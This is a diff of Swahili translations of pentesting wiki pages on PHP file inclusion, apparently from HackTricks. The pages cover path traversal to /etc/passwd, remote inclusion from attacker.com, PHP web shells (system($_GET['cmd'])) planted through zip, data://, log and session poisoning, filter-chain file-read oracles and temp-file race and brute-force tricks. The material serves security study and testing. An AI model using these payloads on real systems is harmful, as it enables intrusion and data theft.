@ -119,11 +119,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kubadilika kulingana na usanidi wa seva.
Katika hali hizi, idadi ya traversals inayohitajika inaweza kuwa karibu 2027, lakini nambari hii inaweza kutofautiana kulingana na usanidi wa seva.
- **Kutumia Sehemu za Dot na Wahusika Wengine**: Mfuatano wa traversal (`../`) uliochanganywa na sehemu za dot za ziada na wahusika unaweza kutumika kuzunguka mfumo wa faili, kwa ufanisi ukipuuza nyongeza za mfuatano kutoka kwa seva.
- **Kujua Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuzunguka hadi kwenye saraka ya mzizi na kisha hadi `/etc/passwd`, kuhakikisha kwamba nyongeza zozote (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki salama.
- **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyo na uwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.
- **Kujua Idadi Inayohitajika ya Traversals**: Kupitia majaribio na makosa, mtu anaweza kupata idadi sahihi ya mfuatano wa `../` inayohitajika kuingia kwenye saraka ya mzizi na kisha kwenye `/etc/passwd`, kuhakikisha kwamba nyongeza zozote (kama `.php`) zimeondolewa lakini njia inayotakiwa (`/etc/passwd`) inabaki salama.
- **Kuanza na Saraka ya Uongo**: Ni kawaida kuanza njia na saraka isiyokuwepo (kama `a/`). Mbinu hii inatumika kama hatua ya tahadhari au kutimiza mahitaji ya mantiki ya uchambuzi wa njia ya seva.
Wakati wa kutumia mbinu za kupunguza njia, ni muhimu kuelewa tabia ya uchambuzi wa njia ya seva na muundo wa mfumo wa faili. Kila hali inaweza kuhitaji mbinu tofauti, na majaribio mara nyingi yanahitajika ili kupata mbinu bora zaidi.
@ -139,7 +139,7 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
Katika php hii imezimwa kwa default kwa sababu **`allow_url_include`** ni **Off.** Inapaswa kuwa **On** ili ifanye kazi, na katika kesi hiyo unaweza kujumuisha faili ya PHP kutoka kwa seva yako na kupata RCE:
Katika php hii imezimwa kwa default kwa sababu **`allow_url_include`** ni **Off.** Inapaswa kuwa **On** ili ifanye kazi, na katika hali hiyo unaweza kujumuisha faili ya PHP kutoka kwa seva yako na kupata RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -162,7 +162,7 @@ Katika python katika msimbo kama huu:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Ikiwa mtumiaji atapita **njia kamili** kwa **`file_name`**, **njia ya awali inondolewa tu**:
Ikiwa mtumiaji atapita **njia kamili** kwa **`file_name`**, **njia ya awali inatolewa tu**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
@ -173,7 +173,7 @@ Ni tabia iliyokusudiwa kulingana na [the docs](https://docs.python.org/3.10/libr
## Java Orodha ya Maktaba
Inaonekana kama una Path Traversal katika Java na unapo **omba maktaba** badala ya faili, **orodha ya maktaba inarudishwa**. Hii haitatokea katika lugha nyingine (kama ninavyofahamu).
Inaonekana kama una Path Traversal katika Java na unapo **omba maktaba** badala ya faili, **orodha ya maktaba inarudishwa**. Hii haitatokea katika lugha nyingine (kama ninavyojua).
## Vigezo 25 vya Juu
@ -216,27 +216,27 @@ PHP filters huruhusu kufanya **operesheni za mabadiliko ya msingi kwenye data**
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Ondoa lebo kutoka kwa data (kila kitu kati ya herufi "<" na ">")
- Kumbuka kwamba filter hii imeondolewa katika toleo za kisasa za PHP
- Kumbuka kwamba filter hii imeondoka katika toleo za kisasa za PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : Hubadilisha kuwa encoding tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya encodings zote** zinazoungwa mkono, endesha kwenye console: `iconv -l`
- `convert.iconv.*` : Inabadilisha kuwa uandishi tofauti (`convert.iconv.<input_enc>.<output_enc>`). Ili kupata **orodha ya uandishi wote** unaoungwa mkono, endesha kwenye console: `iconv -l`
> [!WARNING]
> Kutumia vibaya `convert.iconv.*` conversion filter unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato wa maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md).
> Kutumia vibaya `convert.iconv.*` conversion filter unaweza **kuunda maandiko yasiyo na mipaka**, ambayo yanaweza kuwa na manufaa kuandika maandiko yasiyo na mipaka au kufanya kazi kama kuingiza mchakato maandiko yasiyo na mipaka. Kwa maelezo zaidi angalia [**LFI2RCE kupitia php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Bofya yaliyomo (inafaa ikiwa unatoa taarifa nyingi)
- `zlib.deflate`: Punguza maudhui (yanafaa ikiwa unatoa taarifa nyingi)
- `zlib.inflate`: Rejesha data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Imepitwa na wakati
- `mdecrypt.*` : Imepitwa na wakati
- Filters Nyingine
- Ukikimbia kwenye php `var_dump(stream_get_filters());` unaweza kupata couple ya **filters zisizotarajiwa**:
- Ukikimbia php `var_dump(stream_get_filters());` unaweza kupata couple ya **filters zisizotarajiwa**:
- `consumed`
- `dechunk`: inarudisha encoding ya HTTP chunked
- `dechunk`: inarudisha uandishi wa HTTP chunked
- `convert.*`
```php
# String Filters
@ -265,19 +265,19 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> Sehemu "php://filter" haina tofauti ya herufi kubwa na ndogo
> Sehemu "php://filter" haina tofauti ya herufi
### Kutumia filters za php kama oracle kusoma faili zisizo za kawaida
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili php itupe hitilafu.
[**Katika chapisho hili**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) inapendekezwa mbinu ya kusoma faili ya ndani bila kupata matokeo kutoka kwa seva. Mbinu hii inategemea **kuhamasisha boolean ya faili (karakteri kwa karakteri) kwa kutumia filters za php** kama oracle. Hii ni kwa sababu filters za php zinaweza kutumika kufanya maandiko kuwa makubwa vya kutosha ili kufanya php itupe makosa.
Katika chapisho la awali unaweza kupata maelezo ya kina kuhusu mbinu hii, lakini hapa kuna muhtasari wa haraka:
Katika chapisho la asili unaweza kupata maelezo ya kina kuhusu mbinu hii, lakini hapa kuna muhtasari wa haraka:
- Tumia codec **`UCS-4LE`** kuacha herufi inayoongoza ya maandiko mwanzoni na kufanya ukubwa wa mfuatano kuongezeka kwa kasi.
- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya mwanzo inakisiwa kwa usahihi** kwamba php itasababisha **hitilafu**
- Hii itatumika kuzalisha **maandishi makubwa sana wakati herufi ya mwanzo inakisiwa kwa usahihi** kwamba php itasababisha **kosa**
- Filter ya **dechunk** it **ondoa kila kitu ikiwa herufi ya kwanza si hexadecimal**, hivyo tunaweza kujua ikiwa herufi ya kwanza ni hex.
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate hitilafu.
- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haikuondoa na hitilafu ya php inasababishwa kwa sababu inazidisha na bomu la awali.
- Hii, ikichanganywa na ile ya awali (na filters nyingine kulingana na herufi iliyokisiwa), itaturuhusu kukisia herufi mwanzoni mwa maandiko kwa kuona wakati tunafanya mabadiliko ya kutosha ili kufanya isiwe herufi ya hexadecimal. Kwa sababu ikiwa ni hex, dechunk haitaiondoa na bomu la awali litafanya php ipate kosa.
- Codec **convert.iconv.UNICODE.CP930** inabadilisha kila herufi kuwa ifuatayo (hivyo baada ya codec hii: a -> b). Hii inaturuhusu kugundua ikiwa herufi ya kwanza ni `a` kwa mfano kwa sababu ikiwa tutatumia 6 za codec hii a->b->c->d->e->f->g herufi haitakuwa tena herufi ya hexadecimal, kwa hivyo dechunk haikuondoa na kosa la php linachochewa kwa sababu linazidisha na bomu la awali.
- Kutumia mabadiliko mengine kama **rot13** mwanzoni inawezekana kuvuja herufi nyingine kama n, o, p, q, r (na codecs nyingine zinaweza kutumika kuhamasisha herufi nyingine kwenye eneo la hex).
- Wakati herufi ya mwanzo ni nambari inahitajika kuibua kwa base64 na kuvuja herufi 2 za kwanza ili kuvuja nambari.
- Problemu ya mwisho ni kuona **jinsi ya kuvuja zaidi ya herufi ya mwanzo**. Kwa kutumia filters za kumbukumbu za agizo kama **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** inawezekana kubadilisha agizo la herufi na kupata katika nafasi ya kwanza herufi nyingine za maandiko.
@ -287,7 +287,7 @@ Katika chapisho zana ya kufanya hii kiotomatiki pia ilivuja: [php_filters_chain_
### php://fd
Wrapper hii inaruhusu kufikia waandishi wa faili ambao mchakato unao wazi. Inaweza kuwa na manufaa kuhamasisha maudhui ya faili zilizofunguliwa:
Wrapper hii inaruhusu kufikia viashiria vya faili ambavyo mchakato umefungua. Inaweza kuwa na manufaa kuhamasisha maudhui ya faili zilizofunguliwa:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
@ -297,7 +297,7 @@ Unaweza pia kutumia **php://stdin, php://stdout na php://stderr** kufikia **file
### zip:// na rar://
Pakia faili la Zip au Rar lenye PHPShell ndani na ulifike.\
Ili uweze kutumia protokali ya rar inahitaji **kuzima maalum**.
Ili uweze kutumia itifaki ya rar inahitaji **kuiwezesha kwa njia maalum**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
@ -322,7 +322,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Kumbuka kwamba protokali hii imepunguzwa na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
Kumbuka kwamba protokali hii imepunguziliwa mbali na mipangilio ya php **`allow_url_open`** na **`allow_url_include`**
### expect://
@ -366,7 +366,7 @@ phar-deserialization.md
### CVE-2024-2961
Ilikuwa inawezekana kutumia **faili yoyote isiyo ya kawaida kusoma kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Ilikuwa inawezekana kutumia **faili yoyote isiyo ya kawaida iliyosomwa kutoka PHP inayounga mkono filters za php** kupata RCE. Maelezo ya kina yanaweza [**kupatikana katika chapisho hili**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Muhtasari wa haraka: **overflow ya byte 3** katika PHP heap ilitumiwa kubadilisha **mnyororo wa vipande vya bure** vya ukubwa maalum ili kuweza **kuandika chochote katika anwani yoyote**, hivyo hook iliongezwa kuita **`system`**.\
Ilikuwa inawezekana kugawa vipande vya ukubwa maalum kwa kutumia filters zaidi za php.
@ -406,7 +406,7 @@ Ni muhimu **kutoa URL-encode hizi payloads**.
> [!WARNING]
> Mbinu hii inahusiana na hali ambapo unadhibiti **file path** ya **PHP function** ambayo itafanya **access a file** lakini huwezi kuona maudhui ya faili (kama wito rahisi kwa **`file()`**) lakini maudhui hayataonyeshwa.
Katika [**hiki chapisho cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi blind path traversal inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya makosa**.
Katika [**hiki kipande cha ajabu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) inaelezwa jinsi traversal ya njia ya kipofu inaweza kutumika vibaya kupitia PHP filter ili **kuondoa maudhui ya faili kupitia oracle ya makosa**.
Kwa muhtasari, mbinu inatumia **"UCS-4LE" encoding** kufanya maudhui ya faili kuwa **makubwa** kiasi kwamba **PHP function inayofungua** faili itasababisha **makosa**.
@ -414,7 +414,7 @@ Kisha, ili kuvuja herufi ya kwanza, filter **`dechunk`** inatumika pamoja na nyi
**Functions ambazo zinaweza kuwa na udhaifu**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (tu lengo kusoma tu na hii)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Kwa maelezo ya kiufundi angalia chapisho lililotajwa!
Kwa maelezo ya kiufundi angalia kipande kilichotajwa!
## LFI2RCE
@ -424,12 +424,12 @@ Imeelezwa hapo awali, [**fuata kiungo hiki**](./#remote-file-inclusion).
### Kupitia faili la log la Apache/Nginx
Ikiwa seva ya Apache au Nginx ni **vulnerable to LFI** ndani ya kazi ya kujumuisha unaweza kujaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** shell ya php kama **`<?php system($_GET['c']); ?>`** na kujumuisha faili hiyo
Ikiwa seva ya Apache au Nginx ni **dhaifu kwa LFI** ndani ya kazi ya kujumuisha unaweza kujaribu kufikia **`/var/log/apache2/access.log` au `/var/log/nginx/access.log`**, kuweka ndani ya **user agent** au ndani ya **GET parameter** shell ya php kama **`<?php system($_GET['c']); ?>`** na kujumuisha faili hiyo
> [!WARNING]
> Kumbuka kwamba **ikiwa unatumia nukuu mbili** kwa shell badala ya **nukuu rahisi**, nukuu mbili zitaondolewa kwa string "_**quote;**_", **PHP itatupa makosa** hapo na **hakuna kingine kitakachotekelezwa**.
>
> Pia, hakikisha unandika **payload kwa usahihi** au PHP itakosea kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili.
> Pia, hakikisha unandika **sahihi payload** au PHP itakosea kila wakati inajaribu kupakia faili la log na hutakuwa na fursa ya pili.
Hii inaweza pia kufanywa katika log nyingine lakini **kuwa makini,** msimbo ndani ya log unaweza kuwa URL encoded na hii inaweza kuharibu Shell. Kichwa **authorisation "basic"** kina "user:password" katika Base64 na kinatolewa ndani ya log. PHPShell inaweza kuingizwa ndani ya kichwa hiki.\
Njia nyingine zinazowezekana za log:
@ -462,7 +462,7 @@ Kama faili ya log, tuma payload katika User-Agent, itajitokeza ndani ya faili ya
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Kupitia upakuaji
### Via upload
Ikiwa unaweza kupakia faili, ingiza tu payload ya shell ndani yake (e.g : `<?php system($_GET['c']); ?>`).
```
@ -470,9 +470,9 @@ http://example.com/index.php?page=path/to/uploaded/file.png
```
Ili kuweka faili kuwa na uwezo wa kusomeka ni bora kuingiza kwenye metadata ya picha/doc/pdf
### Kupitia upakuaji wa faili la Zip
### Kupitia Upakuaji wa Faili ya Zip
Pakia faili la ZIP lililo na shell ya PHP iliyoshinikizwa na ufikie:
Pakua faili ya ZIP inayojumuisha shell ya PHP iliyoshinikizwa na ufikie:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -483,12 +483,12 @@ Angalia kama tovuti inatumia PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
Katika PHP, vikao hivi vinahifadhiwa kwenye _/var/lib/php5/sess\\_\[PHPSESSID]\_ faili
Katika PHP, vikao hivi vinahifadhiwa katika _/var/lib/php5/sess\\_\[PHPSESSID]\_ faili
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Seti cookie kuwa `<?php system('cat /etc/passwd');?>`
Set the cookie to `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
@ -502,7 +502,7 @@ Ikiwa ssh inafanya kazi angalia ni mtumiaji gani anatumika (/proc/self/status &
### **Via** **vsftpd** _**logs**_
Maktaba za seva ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unapatikana, hatua zifuatazo zinaweza kuzingatiwa:
Maktaba za seva ya FTP vsftpd ziko katika _**/var/log/vsftpd.log**_. Katika hali ambapo kuna udhaifu wa Local File Inclusion (LFI), na ufikiaji wa seva ya vsftpd iliyofichuliwa unaruhusiwa, hatua zifuatazo zinaweza kuzingatiwa:
1. Ingiza payload ya PHP katika uwanja wa jina la mtumiaji wakati wa mchakato wa kuingia.
2. Baada ya kuingiza, tumia LFI kupata maktaba za seva kutoka _**/var/log/vsftpd.log**_.
@ -541,7 +541,7 @@ lfi2rce-via-nginx-temp-files.md
### Kupitia PHP_SESSION_UPLOAD_PROGRESS
Ikiwa umepata **Local File Inclusion** hata kama **huna kikao** na `session.auto_start` ni `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **kikao kwa ajili yako**. Unaweza kutumia hii vibaya kupata RCE:
Ikiwa umepata **Local File Inclusion** hata kama **huna session** na `session.auto_start` iko `Off`. Ikiwa unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika **data ya multipart POST**, PHP itafanya **session iweze kwako**. Unaweza kutumia hii vibaya kupata RCE:
{{#ref}}
via-php_session_upload_progress.md
@ -580,7 +580,7 @@ lfi2rce-via-phpinfo.md
### Kupitia compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya muda LAKINI **server** inakagua ikiwa **faili inayopaswa kujumuishwa ina alama za PHP**, unaweza kujaribu **kuzidi ukaguzi huo** kwa kutumia **Race Condition**:
Ikiwa umepata **Local File Inclusion** na unaweza **kuondoa njia** ya faili ya muda LAKINI **server** inakagua ikiwa **faili inayopaswa kujumuishwa ina alama za PHP**, unaweza kujaribu **kuzidi ukaguzi huo** na **Race Condition** hii:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@ -588,7 +588,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Kupitia kusubiri milele + bruteforce
Ikiwa unaweza kutumia LFI ili **kupakia faili za muda** na kufanya server **ishindwe** kutekeleza PHP, unaweza kisha **kufanya brute force majina ya faili kwa masaa** ili kupata faili ya muda:
Ikiwa unaweza kutumia LFI ili **kupakia faili za muda** na kufanya server **kushindwa** katika utekelezaji wa PHP, unaweza kisha **kufanya brute force majina ya faili kwa masaa** ili kupata faili ya muda:
{{#ref}}
lfi2rce-via-eternal-waiting.md

View File

@ -4,13 +4,13 @@
### `compress.zlib://` na `PHP_STREAM_PREFER_STDIO`
Fail iliyofunguliwa kwa kutumia itifaki `compress.zlib://` na bendera `PHP_STREAM_PREFER_STDIO` inaweza kuendelea kuandika data inayofika kwenye muunganisho baadaye kwenye faili hiyo hiyo.
Fail iliyofunguliwa kwa kutumia itifaki `compress.zlib://` na bendera `PHP_STREAM_PREFER_STDIO` inaweza kuendelea kuandika data zinazofika kwenye muunganisho baadaye kwenye faili hiyo hiyo.
Hii inamaanisha kwamba wito kama:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Nitatumia ombi likiomba http://attacker.com/file, kisha seva inaweza kujibu ombi hilo kwa jibu halali la HTTP, kuweka muunganisho wazi, na kutuma data za ziada baadaye ambazo pia zitaandikwa kwenye faili.
Itatuma ombi ikiiomba http://attacker.com/file, kisha seva inaweza kujibu ombi hilo kwa jibu halali la HTTP, kuendelea na muunganisho, na kutuma data za ziada baadaye ambazo pia zitaandikwa kwenye faili.
Unaweza kuona habari hiyo katika sehemu hii ya msimbo wa php-src katika main/streams/cast.c:
```c
@ -22,18 +22,18 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_temp_new();
}
```
### Hali ya Mashindano kwa RCE
### Hali ya Mbio kwa RCE
[**CTF hii**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) ilitatuliwa kwa kutumia hila ya awali.
Mshambuliaji atafanya **server ya mwathirika ifungue muunganisho ikisoma faili kutoka kwa server ya mshambuliaji** kwa kutumia **`compress.zlib`** protokali.
Mshambuliaji atafanya **server ya mwathirika ifungue muunganisho ikisoma faili kutoka kwa server ya mshambuliaji** kwa kutumia **`compress.zlib`** itifaki.
**Wakati** muunganisho huu **upo**, mshambuliaji atafanya **kuondoa njia** ya faili ya muda iliyoundwa (imevuja na server).
**Wakati** muunganisho **bado uko wazi**, mshambuliaji atafanya **kudhulumu LFI akipakia faili ya muda** anayoitawala.
Hata hivyo, kuna ukaguzi katika server ya wavuti ambao **unazuia kupakia faili zinazokuwa na `<?`**. Kwa hivyo, mshambuliaji atatumia **Hali ya Mashindano**. Katika muunganisho ambao bado uko wazi, **mshambuliaji** atatuma **PHP payload BAADA YA** **server ya wavuti** **kuangalia** kama faili ina wahusika waliokatazwa lakini **KABLA ya kupakia maudhui yake**.
Hata hivyo, kuna ukaguzi katika server ya wavuti ambao **unazuia kupakia faili zinazokuwa na `<?`**. Kwa hivyo, mshambuliaji atatumia **Hali ya Mbio**. Katika muunganisho ambao bado uko wazi, **mshambuliaji** atatuma **PHP payload BAADA YA** **server ya wavuti** **kuangalia** kama faili ina wahusika waliokatazwa lakini **KABLA ya kupakia maudhui yake**.
Kwa maelezo zaidi angalia maelezo ya Hali ya Mashindano na CTF katika [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
Kwa maelezo zaidi angalia maelezo ya Hali ya Mbio na CTF katika [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,9 +4,9 @@
## Taarifa za Msingi
Kwa kawaida, wakati faili inapoupwa kwenye PHP (hata kama haitarajii), itaunda faili ya muda katika `/tmp` yenye jina kama **`php[a-zA-Z0-9]{6}`**, ingawa nimeona picha za docker ambapo faili zilizozalishwa hazina nambari.
Kwa kawaida, wakati faili inapoupwa kwenye PHP (hata kama haitarajii), itaunda faili ya muda katika `/tmp` yenye jina kama **`php[a-zA-Z0-9]{6}`**, ingawa nimeona picha zingine za docker ambapo faili zilizozalishwa hazina nambari.
Katika ujumuishaji wa faili wa ndani, **ikiwa utaweza kuingiza faili hiyo iliyoupwa, utapata RCE**.
Katika uingizaji wa faili wa ndani, **ikiwa utaweza kuingiza faili hiyo iliyoupwa, utapata RCE**.
Kumbuka kwamba kwa kawaida **PHP inaruhusu kupakia faili 20 tu katika ombi moja** (iliyowekwa katika `/etc/php/<version>/apache2/php.ini`):
```
@ -18,11 +18,11 @@ Pia, **idadi ya majina ya faili yanayoweza kuwa ni 62\*62\*62\*62\*62\*62 = 5680
### Mbinu nyingine
Mbinu nyingine zinategemea kushambulia protokali za PHP (hutoweza ikiwa unadhibiti sehemu ya mwisho ya njia), kufichua njia ya faili, kutumia faili zinazotarajiwa, au **kufanya PHP ipate makosa ya segmentation ili faili za muda zilizopakiwa zisifutwe**.\
Mbinu hii ni **sawa sana na ile ya mwisho lakini bila kuhitaji kupata siku sifuri**.
Mbinu hii ni **sawa sana na ya mwisho lakini bila kuhitaji kupata siku sifuri**.
### Mbinu ya kusubiri milele
Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa kupakia faili na kufanya **LFI isimalizike kamwe**, tutakuwa na "wakati wa kutosha" ili **kujaribu nguvu faili zilizopakiwa** na **kupata** yoyote kati ya zile zilizopakiwa.
Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa kupakia faili na kufanya **LFI isikome kamwe**, tutakuwa na "wakati wa kutosha" ili **kujaribu nguvu faili zilizopakiwa** na **kupata** yoyote kati ya zile zilizopakiwa.
**Faida za mbinu hii**:
@ -34,14 +34,14 @@ Katika mbinu hii **tunahitaji tu kudhibiti njia ya jamaa**. Ikiwa tutafanikiwa k
**Matatizo makuu** ya mbinu hii ni:
- Inahitaji faili maalum kuwapo (huenda kuna zaidi)
- **Kiasi cha ajabu** cha majina ya faili yanayoweza kuwa: **56800235584**
- Ikiwa seva **haiitumii nambari** jumla ya uwezo ni: **19770609664**
- **Kiasi cha ajabu** cha majina ya faili yanayoweza: **56800235584**
- Ikiwa seva **haitumii nambari** jumla ya uwezo ni: **19770609664**
- Kwa kawaida **faili 20 tu** zinaweza kupakiwa katika **ombio moja**.
- **idadi ya juu ya wafanyakazi wa sambamba** wa seva inayotumika.
- Kizuizi hiki pamoja na vya awali kinaweza kufanya shambulio hili kudumu kwa muda mrefu
- **Muda wa kupita kwa ombi la PHP**. Kwa kawaida hii inapaswa kuwa milele au inapaswa kuua mchakato wa PHP bila kufuta faili za muda zilizopakiwa, ikiwa sivyo, hii pia itakuwa shida
Basi, unaweza **aje kufanya kujumuisha kwa PHP kutomalizika kamwe**? Kwa kujumlisha tu faili **`/sys/kernel/security/apparmor/revision`** (**haipatikani katika kontena za Docker** kwa bahati mbaya...).
Basi, unaweza **aje kufanya kujumuisha PHP kusiishe kamwe**? Kwa kujumlisha tu faili **`/sys/kernel/security/apparmor/revision`** (**haipatikani katika kontena za Docker** kwa bahati mbaya...).
Jaribu kwa kuitwa:
```bash
@ -72,7 +72,7 @@ Ikiwa seva ya Apache imeboreshwa na tunaweza kutumia **michango 4000** (katika n
Ikiwa badala ya kutumia moduli ya kawaida ya php kwa apache kuendesha skripti za PHP **ukurasa wa wavuti unatumia** **PHP-FMP** (hii inaboresha ufanisi wa ukurasa wa wavuti, hivyo ni kawaida kuikuta), kuna kitu kingine kinachoweza kufanywa kuboresha mbinu hiyo.
PHP-FMP inaruhusu **kuunda** **parameta** **`request_terminate_timeout`** katika **`/etc/php/<php-version>/fpm/pool.d/www.conf`**.\
Parameta hii inaonyesha kiwango cha juu cha sekunde **wakati** **maombi kwa PHP yanapaswa kumalizika** (isiyo na kikomo kwa kawaida, lakini **30s ikiwa parameta imeondolewa maoni**). Wakati ombi linaposhughulikiwa na PHP kwa idadi iliyotajwa ya sekunde, inauawa. Hii inamaanisha, kwamba ikiwa ombi lilikuwa likipakia faili za muda, kwa sababu **usindikaji wa php ulisimamishwa**, hizo **faili hazitafutwa**. Kwa hivyo, ikiwa unaweza kufanya ombi kudumu wakati huo, unaweza **kuunda maelfu ya faili za muda** ambazo hazitafutwa, ambayo itachochea **mchakato wa kuzitafuta** na kupunguza uwezekano wa DoS kwa jukwaa kwa kutumia michango yote.
Parameta hii inaonyesha kiwango cha juu cha sekunde **wakati** **maombi kwa PHP yanapaswa kumalizika** (isiyo na kikomo kwa kawaida, lakini **30s ikiwa parameta imeondolewa maoni**). Wakati ombi linaposhughulikiwa na PHP kwa idadi iliyotajwa ya sekunde, inakatishwa. Hii inamaanisha, kwamba ikiwa ombi lilikuwa likipakia faili za muda, kwa sababu **usindikaji wa php umesitishwa**, hizo **faili hazitafutwa**. Kwa hivyo, ikiwa unaweza kufanya ombi kudumu muda huo, unaweza **kuunda maelfu ya faili za muda** ambazo hazitafutwa, ambayo itachochea **mchakato wa kuzipata** na kupunguza uwezekano wa DoS kwa jukwaa kwa kutumia michango yote.
Hivyo, ili **kuepuka DoS** hebu tuone kwamba **mshambuliaji atatumia michango 100 tu** kwa wakati mmoja na muda wa usindikaji wa php kwa **php-fmp** (`request_terminate_timeout`**)** ni **30s**. Kwa hivyo, idadi ya **faili za muda** zinazoweza kuzalishwa **kwa sekunde** ni `100*20/30 = 66.67`.
